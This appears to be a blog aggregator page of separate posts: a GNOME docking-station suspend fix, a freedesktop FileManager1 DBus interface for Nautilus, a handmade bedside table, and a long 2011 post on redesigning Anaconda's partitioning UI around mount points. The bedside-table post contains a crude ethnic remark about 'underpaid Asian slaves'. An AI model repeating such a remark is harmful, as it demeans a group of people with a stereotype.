    I've been working on the docking-stations branch in gnome-settings-daemon to fix this. Things are much better now:

    • A laptop will stay running (i.e. not suspended) as long as there are monitors plugged into it, even if the lid is closed. This takes care of the "I want to close the laptop and use an external monitor" problem.
    • The laptop will suspend when no monitors are plugged in if you close the lid.
  • A DBus interface to show files in the file manager

    One of the tasks for Akshay Gupta, my student for this year's Summer of Code, was to implement a DBus interface in Nautilus so that applications can ask that the file manager show a file within its containing folder. This is makes it possible to implement the "circulation for your files" pattern.

    On the xdg-list, we've discussed a simple interface that file managers ought to implement:

      <interface name='org.freedesktop.FileManager1'>
        <method name='ShowFolders'>
          <arg type='as' name='URIs' direction='in'/>
          <arg type='s' name='StartupId' direction='in'/>
        </method>
        <method name='ShowItems'>
          <arg type='as' name='URIs' direction='in'/>
          <arg type='s' name='StartupId' direction='in'/>
        </method>
        <method name='ShowItemProperties'>
          <arg type='as' name='URIs' direction='in'/>
          <arg type='s' name='StartupId' direction='in'/>
        </method>
      </interface>

    I guess I should write a super-short spec to detail that.

  • A bedside table for our bedroom

    Bedside table

    The other day I finished making this simple bedside table for our bedroom. The legs and stretchers are aromatic cedar, and the surfaces are mahogany. The stretchers and legs are mortised-and-tenoned, and pegged with oak (I think) dowels. The top is square, and the proportions of the table and the position of the shelf match the golden ratio.

    But that's fancy talk. The layman's version is: this is a solid wood bedside table, with good construction, that will last for decades. Materials cost, oh, I don't know, no more than 300 pesos (that is, what, 20 USD or so).

    This is unlike the garbage you buy in stores, which is made of formaldehyde-laden termite diarrhea particle board veneered with essentially plastic, and fastened together with staples and other horrors — by underpaid Asian slaves. We just saw one-of-a-pair of bedside tables at Sears, built like that, for 5000 pesos. With the humidity here, that abomination won't last for 10 years.

December 14, 2011

What’s your partitioning persona? And, the partitioning UI thus far.

Partitioning personas

Redesigning the UI for something as complex as an OS installer has the potential to be disruptive to some classes of users, so in designing and re-designing and re-re-designing the partitioning screens for Fedora’s installer, we’d like to make sure you’re going to be covered.

Do any of these cases describe you, and if not, can you let me know how you use the partitioning functionality of Anaconda or really any OS installer so I can account for your use case?

The partitioning UI thus far

What are we doing to the installer’s partitioning UI to bring us to ask such questions? What is all this redesigning that’s going on? Well, let’s talk about partitioning as it works today in Anaconda.

Note that this is a screenshot of Red Hat Linux 8.0 from 2002, almost 10 years ago now. Aside from the online help / release notes pane on the left which has long since been dropped, this partitioning screen does not look much different today.

Our partitioning UI is currently very technology-centric. I suspect users care a lot more about the mountpoint layout of their OS with the technology underneath having a less primary role for them. (What the technology does for them, such as give them redundancy for their data via mirroring or increased performance via striping, I think they *do* care about, though.) Above is a screenshot from Fedora 15 showing part of the workflow in creating a partition. Before you can create a mountpoint layout or configure your filesystems, you have to create partitions and choose what technology to use with them.

Creating partitions is a means to an end of staking out some space for your files; if what the users really want to do is arrange their filesystem as they’d like it, why don’t we let them do that first, and guide them amongst the technology choices based on what it will do for them and their files later on?

“Wait,” you may ask, “are you trying to say that the goal of a user in a partitioning UI isn’t to create partitions?” Yep, basically I am. An illustration of how configuring RAID in the current UI may help explain:

Say I did a bit of reading and decided that for me, the best way to store the data in my home directory would be to set up RAID mirroring and striping between two physical disks (AKA RAID 10). If I set out to do this, what kind of workflow would seem most natural? Would it make sense to create my home directory, dictate the (when-all-is-said-and-done) capacity I want for it (let’s say 100GB), and apply the appropriate RAID level to it afterwards?

That’s what I thought. That’s not how it works in our UI right now, though. Right now, here’s the basic convoluted workflow:

  1. Delete the auto-part layout since it’s all LVM and you want to use RAID on top of physical partitions. Click click click click click click click!
  2. Create a RAID Partition; Give it the capacity you ultimately want (100 GB). Make sure it’s on hard disk #1.
  3. Create another RAID Partition, identical to the other, 100GB. Make sure it is *not* on hard disk #1 but is on hard disk #2.
  4. Create a ‘RAID device’, and add the two RAID partitions you just created to it.
  5. Set ‘/home’ as the mount point of your ‘RAID device’ and set the RAID level you’d like.

That seems a little backwards to me. You create the partitions first, then the device. Why can’t the partition manager create the partitions for me based on my specifications for the device? It also seems a bit error prone, because I think it’s pretty easy to forget to create the two partitions on two separate disks. If you don’t, your mirroring doesn’t make sense since if the hard disk fails (what mirroring is meant to protect against), both of your copies are dust in the wind! The RAID device creation UI doesn’t state which physical disk each partition is in, either, so it’s easy to miss if you did make the mistake. The other thing this doesn’t protect against is that you could quite easily, without any complaint from the interface, mirror RAID together a 1 MB partition with a 1 TB partition, and lose 1 TB – 1 MB worth of space since the partition with the least capacity dictates the capacity for the device in mirroring. Sigh.

So a while back I went over in detail our buffet-style, technology-based mockups for partitioning – we had a sense that it was not the right approach but had whiteboarded and wireframed the mockups so I thought posting them would generate some feedback on a better way. And it did, of course, because the folks who find the time to read this and provide feedback are smart and helpful. Here’s a quick snapshot of one of those mockups as a refresher (the technology-focused tabs across the top is what I consider a ‘buffet’):

A new, mount point-based hope?

This is kind of what we’re leaning-towards now. After a few iterations, I call it the RPG partitioning UI. On the left, we give you a sane default mount point set up (dictated by either your particular spin or the install class, so if you’re using a desktop you get a desktop-focused one; for a server, a server-focused one; etc.) and let you modify as you like. By default for Fedora, we’ll have a btrfs set up (not reflected here.)

Notice how there’s selectors for each mount point where you can choose the partition type (physical, btr, LVM) and you can add on options, choosing the technology you’d like for each. RAID and LVM both offer mirroring. If you have a preference as to which one you’d like to use, there’s a spot for you to dig into that. However, we present mirroring as the feature you can opt into; we don’t present the technology at a primary level anymore here.

There’s also a cost associated with some options. If you choose to mirror a 100 GB home directory, for example, you’re going to need 100 GB x 2 or 200 GB to have that 100 GB mirrored. So there’s a ‘cost’ in terms of capacity for different options. What makes this the ‘RPG’ design is that as you add or remove features from how your file system is set up, the cost (or savings) in capacity are outlined right next to each option.

The general idea we have here is that if you don’t have sufficient hardware / capacity to choose a particular option, it will not be presented to you at all. No bait ‘n switch by offering it up front and then erroring out later.

Where this mockup needs work is how we allow the user to hook up their mount point setup and filesystem configuration to physical drives in their system. And that is why I’m showing the personas to anybody who will listen to try to make sure we understand where users are coming from when they do that hook up, so we don’t lock anyone out of essential functionality they need.

So that’s that.

OMG you’re redesigning the anaconda installer?

Yes!

Peace & pandas everybody!